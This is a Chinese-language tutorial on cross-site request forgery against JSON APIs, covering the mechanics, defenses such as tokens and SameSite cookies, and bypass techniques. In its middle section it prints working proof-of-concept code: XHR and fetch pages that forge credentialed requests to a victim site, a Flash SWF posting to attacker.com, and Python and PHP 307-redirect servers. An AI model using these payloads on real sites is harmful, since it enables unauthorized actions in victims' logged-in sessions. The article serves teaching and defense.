谈谈Json格式下的CSRF攻击
字数 1710 2025-08-18 11:38:45
JSON格式下的CSRF攻击分析与防御
一、CSRF漏洞基础
1.1 CSRF漏洞原理
CSRF(跨站请求伪造)漏洞的成因是网站的cookie在浏览器中不会过期,只要不关闭浏览器或退出登录,访问该网站都会保持登录状态。攻击者在此期间发送构造好的CSRF脚本或链接,可能执行用户不希望的操作(如添加账号)。
1.2 JSON格式下的CSRF特殊性
在POST标准化格式(如accounts=test&password=aaa)的表单页面中,构造CSRF攻击页面相对简单。但在JSON格式下,CSRF攻击面临以下挑战:
- POST body需要以JSON格式发送,使用HTML表单元素构建较为麻烦
- Content-Type头需要设置为
application/json - 设置自定义Header需要使用XMLHttpRequests,这会发送OPTIONS预检请求
二、CSRF防御方案
2.1 常见防御措施
- 用户操作验证:提交数据时需要输入验证码
- 请求来源验证:验证请求来源的Referer
- 表单Token验证:使用随机且不可预测的Anti CSRF Token
2.2 Token验证流程
- 用户访问表单页面
- 服务端生成Token,存入用户Session或浏览器Cookie
- 页面表单附带Token参数
- 用户提交请求后,服务端验证表单Token与Session/Cookie中的Token是否一致
2.3 SameSite Cookie属性
在前后端分离(如使用AJAX)无法设置Token时,可使用SameSite属性:
- SameSite=Strict:严格模式,任何情况下都不能作为第三方Cookie
- SameSite=Lax:宽松模式,异步请求和form提交跳转时不能作为第三方Cookie
使用建议:
- 登录态关键Cookie设置为Strict
- 动态创建用于校验登录态的Cookie设置为Lax
- 若页面可能被iframe或需要JSONP,则不能设置Strict或Lax
三、JSON CSRF攻击方法
3.1 不验证Content-Type的情况
当服务端不校验或严格校验Content-Type时,可使用XHR实现CSRF:
<html>
<head>
<script>
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/api", true);
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"key":"value"}));
}
</script>
</head>
<body>
<form action="">
<input type="button" value="Submit request" onClick="submitRequest()">
</form>
</body>
</html>
或使用fetch API:
<html>
<title>JSON CSRF POC</title>
<script>
fetch('http://victim.com/vul.page', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"name":"attacker","email":"attacker.com"}'
});
</script>
</html>
3.2 验证Content-Type的情况
利用Flash跨域与307跳转绕过HTTP自定义头限制:
- 创建Flash文件:
- 安装Flex SDK
- 编写ActionScript代码并编译为SWF文件
示例ActionScript代码(csrf.as):
package{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
public class csrf extends Sprite {
public function csrf() {
super();
var myJson:String = '{"id":102}';
var url:String = "http://attacker.com/307.php";
var request:URLRequest = new URLRequest(url);
request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = new URLLoader();
try {
urlLoader.load(request);
return;
} catch(e:Error) {
trace(e);
return;
}
}
}
}
- 创建307跳转服务端:
Python示例(pyserver.py):
import BaseHTTPServer
import time
import sys
HOST = ''
PORT = 8000
class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(self):
if self.path == '/csrf.swf':
self.send_response(200)
self.send_header("Content-Type","application/x-shockwave-flash")
self.end_headers()
self.wfile.write(open("csrf.swf", "rb").read())
return
self.send_response(307)
self.send_header("Location", "https://victim-site/userdelete")
self.end_headers()
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST, PORT), RedirectHandler)
print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)
PHP示例(307.php):
<?php
$victim_url = $_GET['endpoint'];
header("Location: $victim_url", true, 307);
?>
- 最终POC:
http://attacker.com/csrf/test.swf?jsonData={"id":49}&php_url=http://attacker.com/csrf/test.php&endpoint=http://victim.com/api&ct=application/json
3.3 攻击流程
- 受害者访问POC,向攻击者服务器发起SWF请求
- SWF向307.php发送HTTP POST请求
- 307.php发起307跳转到目标站点,携带HTTP方法、Header和POST数据
- 目标站点收到POST请求,Content-Type为application/json
3.4 限制与注意事项
- Flash Header有黑名单,不能设置Referer等特定头
- 现代浏览器(2018年后)在307跳转时可能不会传递Content-Type
- 需要目标站点有宽松的crossdomain.xml策略
四、防御JSON CSRF的最佳实践
- 严格验证Content-Type:确保为application/json
- 使用CSRF Token:即使是JSON API也应实施Token验证
- SameSite Cookie:关键Cookie设置为Strict或Lax
- Referer检查:验证请求来源
- CORS策略:合理配置跨域资源共享策略
- 禁用旧技术:如Flash等易被利用的旧技术
五、总结
JSON格式的CSRF攻击相比传统表单CSRF更具挑战性,但通过Flash+307跳转等技术仍可能实现。防御方面应多层防护,结合Token、SameSite Cookie和严格的内容类型验证。随着浏览器安全机制增强,旧攻击方法可能失效,但安全防护仍需与时俱进。